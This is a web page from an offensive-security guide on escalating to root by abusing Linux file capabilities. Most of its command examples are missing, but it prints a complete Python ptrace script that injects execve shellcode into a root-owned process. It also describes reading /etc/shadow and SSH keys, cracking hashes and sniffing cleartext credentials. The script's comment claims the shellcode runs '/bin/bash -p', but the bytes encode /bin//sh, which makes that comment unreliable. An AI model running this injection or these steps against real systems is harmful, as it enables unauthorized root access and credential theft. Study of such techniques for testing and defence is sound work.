Linux Capabilities Abuse for Privilege Escalation
Linux capabilities grant fine-grained privileges to binaries without requiring the full SUID bit or root ownership. A binary with cap_setuid+ep can change its UID to root. A binary with cap_dac_read_search+ep can read any file on the system regardless of permissions. Capabilities are invisible to standard ls -la and are missed without explicit enumeration.
Prerequisites Check
Enumerate all files with capabilities set:
Also check what capabilities your current process has — these are inherited from the parent shell:
Capabilities appear in the format capability+flag:
+ep— effective and permitted — binary uses this capability immediately+p— permitted only — capability available but not active until explicitly set+i— inheritable — child processes can inherit this
Focus on +ep entries — these are immediately exploitable without any additional setup.
cap_setuid — Escalate to Root UID
A binary with cap_setuid+ep can call setuid(0) to become root. Any interpreter or language runtime with this capability is a direct root shell.
Python:
cap_dac_read_search — Read Any File
cap_dac_read_search bypasses discretionary access control for file reads and directory searches. A binary with this capability can read /etc/shadow, /root/.ssh/id_rsa, and any other file regardless of permissions.
tar — read arbitrary files:
Python with cap_dac_read_search:
find with cap_dac_read_search:
Extract the root hash and crack it offline. See https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation for cracking workflow.
cap_sys_ptrace — Process Injection
cap_sys_ptrace allows attaching to and injecting shellcode into any running process — including processes owned by root. Find a root process, inject shellcode, get root code execution.
Check for a root process to inject into:
Use the inject tool from the linux-capabilities repository:
/tmp/inject.py:
import ctypes
import sys
import struct
# Shellcode: execve("/bin/bash", ["/bin/bash", "-p", NULL], NULL)
shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
pid = int(sys.argv[1])
PTRACE_ATTACH = 16
PTRACE_POKETEXT = 4
PTRACE_CONT = 7
PTRACE_GETREGS = 12
libc = ctypes.CDLL("libc.so.6")
libc.ptrace(PTRACE_ATTACH, pid, None, None)
import time; time.sleep(0.5)
class Regs(ctypes.Structure):
_fields_ = [("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong)]
regs = Regs()
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(regs))
rip = regs.rip
for i in range(0, len(shellcode), 8):
chunk = shellcode[i:i+8].ljust(8, b'\x90')
word = struct.unpack('<Q', chunk)[0]
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(rip + i), word)
libc.ptrace(PTRACE_CONT, pid, None, None)
print(f"Injected into PID {pid}")
A more reliable approach — use nsenter if the binary has ptrace capability and you can access the root namespace:
cap_net_raw — Network Sniffing
cap_net_raw allows creating raw sockets and sniffing network traffic. Use this to capture credentials from cleartext protocols (HTTP, FTP, Telnet, LDAP) on the local network.
This captures credentials from other users authenticating to services on the same machine or network segment, which can then be used for lateral movement or direct privilege escalation if a root password is captured.
cap_sys_admin — Broad Privilege
cap_sys_admin is the broadest capability — it covers mount operations, namespace manipulation, and many kernel interfaces. A binary with this capability can mount filesystems and manipulate namespaces to escape to root:
cap_chown — Change File Ownership
cap_chown allows changing ownership of any file. Use it to take ownership of /etc/shadow or /etc/passwd:
Capabilities vs SUID
Capabilities are ignored if the binary also has the SUID bit set — SUID takes precedence. If you find a binary with both, use the SUID path. See https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation.
Capabilities are also distinct from sudo permissions. A binary with capabilities does not need to be in sudoers — it works directly regardless of sudo configuration.
Related
References
-
capabilities(7) Manualman7.org/linux/man-pages/man7/capabilities.7.html (opens in new tab)
Full Linux capabilities reference including all capability constants and their effects.
-
Capability-specific exploitation patterns for common binaries.
-
Linux Capabilitiesbook.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities (opens in new tab)
HackTricks Capability exploitation techniques and real-world examples.
Was this helpful?
Your feedback helps improve this page.